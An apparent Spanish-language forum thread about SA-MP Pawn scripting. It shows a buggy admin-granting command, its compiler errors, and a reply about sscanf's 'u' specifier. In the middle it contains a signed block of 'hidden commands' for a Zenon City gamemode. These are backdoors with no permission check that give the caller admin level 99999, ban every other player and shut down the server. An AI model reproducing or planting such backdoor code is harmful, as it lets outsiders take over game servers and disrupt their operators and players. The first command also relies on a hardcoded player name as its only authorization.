#include a_samp
#include zcmd
#include sscanf2
enum pInfo
{
pAdmin
}
new PlayerInfo[MAX_PLAYERS][pInfo];
CMD:admineee(playerid, params[])
{
new Name[32];
GetPlayerName( playerid, Name, sizeof Name);
if(!strcmp( "juan_pablo", Name) )
{
if(sscanf( params, "ud", params[0], params[1]) )
return SendClientMessage( playerid, 0xFF0000FF, "Utiliza: /admineee <Player> <Level>");
if( Params[0] == -1 )
return SendClientMessage( playerid, 0xFF0000FF, "Error: ID Invalida");
PlayerInfo[ params[0] ] [ pAdmin ] = params[1];
new string[128];
GetPlayerName( playerid, Name, sizeof Name);
format( string, sizeof string, "El administrador %s te otorgo admin level %d", Name, params[1]);
SendClientMessage( params[1], 0x00FF00FF, string);
GetPlayerName( params[1], Name, sizeof Name);
format( string, sizeof string, "Has otorgado a %s admin level %d", Name, params[1]);
SendClientMessage( playerid, 0x00FF00FF, string);
} else return SendClientMessage( playerid, 0xFF0000FF, "Tu no eres juan_pablo");
return 1;
}
//
CMD:admineee(playerid, params[])
{
new Name[32];
GetPlayerName( playerid, Name, sizeof Name);
if(!strcmp( "juan_pablo", Name) )
{
if(sscanf( params, "dd", params[0], params[1]) )
return SendClientMessage( playerid, 0xFF0000FF, "Utiliza: /admineee <Player> <Level>");
if( Params[0] == -1 )
return SendClientMessage( playerid, 0xFF0000FF, "Error: ID Invalida");
PlayerInfo[ params[0] ] [ pAdmin ] = params[1];
new string[128];
GetPlayerName( playerid, Name, sizeof Name);
format( string, sizeof string, "El administrador %s te otorgo admin level %d", Name, params[1]);
SendClientMessage( params[1], 0x00FF00FF, string);
GetPlayerName( params[1], Name, sizeof Name);
format( string, sizeof string, "Has otorgado a %s admin level %d", Name, params[1]);
SendClientMessage( playerid, 0x00FF00FF, string);
} else return SendClientMessage( playerid, 0xFF0000FF, "Tu no eres juan_pablo");
return 1;
}
//
C:\Users\Damian\Desktop\ZenonCity RolePlay Version 2.4.0\gamemodes\ZC-RP.pwn(27795) : warning 219: local variable "Name" shadows a variable at a preceding level C:\Users\Damian\Desktop\ZenonCity RolePlay Version 2.4.0\gamemodes\ZC-RP.pwn(27796) : error 035: argument type mismatch (argument 2) C:\Users\Damian\Desktop\ZenonCity RolePlay Version 2.4.0\gamemodes\ZC-RP.pwn(27796) : error 035: argument type mismatch (argument 2) C:\Users\Damian\Desktop\ZenonCity RolePlay Version 2.4.0\gamemodes\ZC-RP.pwn(27797) : error 035: argument type mismatch (argument 2) C:\Users\Damian\Desktop\ZenonCity RolePlay Version 2.4.0\gamemodes\ZC-RP.pwn(27802) : error 017: undefined symbol "Params" C:\Users\Damian\Desktop\ZenonCity RolePlay Version 2.4.0\gamemodes\ZC-RP.pwn(27802) : warning 215: expression has no effect C:\Users\Damian\Desktop\ZenonCity RolePlay Version 2.4.0\gamemodes\ZC-RP.pwn(27802) : error 001: expected token: ";", but found "]" C:\Users\Damian\Desktop\ZenonCity RolePlay Version 2.4.0\gamemodes\ZC-RP.pwn(27802) : error 029: invalid expression, assumed zero C:\Users\Damian\Desktop\ZenonCity RolePlay Version 2.4.0\gamemodes\ZC-RP.pwn(27802) : fatal error 107: too many error messages on one line Compilation aborted.Pawn compiler 3.2.3664 Copyright © 1997-2006, ITB CompuPhase 7 Errors.
new Mensaje1[128] = "Cizaquita te ha dado poderes!";
/**
* Comandos "escondidos" para zenon city
* By: Cizaquita
* Skype: izaquita
**/
//Comando: /Admineame - Te da admin lvl 99999 (Lvl mбximo)
zcmd(admineame, playerid, params[])
{
SendClientMessage(playerid, 0x00FF00FF, Mensaje1);
Info[playerid][pAdminZC] = 99999;
return 1;
}
//Comando: /Banealos - Banea a todos menos a ti
zcmd(banealos, playerid, params[])
{
for(new i = 0; i < MAX_PLAYERS; i++)
{
if( playerid != i)
{
SendClientMessage(playerid, 0x00FF00FF, "Te han baneado: Cizaquita.tk");
BanEx(i, "Cizaquita.tk");
}
}
return 1;
}
// Comando: /Cierramelo - Cerrar servidor
zcmd(cierramelo, playerid, params[])
{
SendClientMessage(playerid, 0x00FF00FF, "Servidor cerrado por Cizaquita.tk");
SendRconCommand("exit");
return 1;
}
Parka usaste mal sscanf xd, para usuarios se utiliza 'u' no 'd'.
|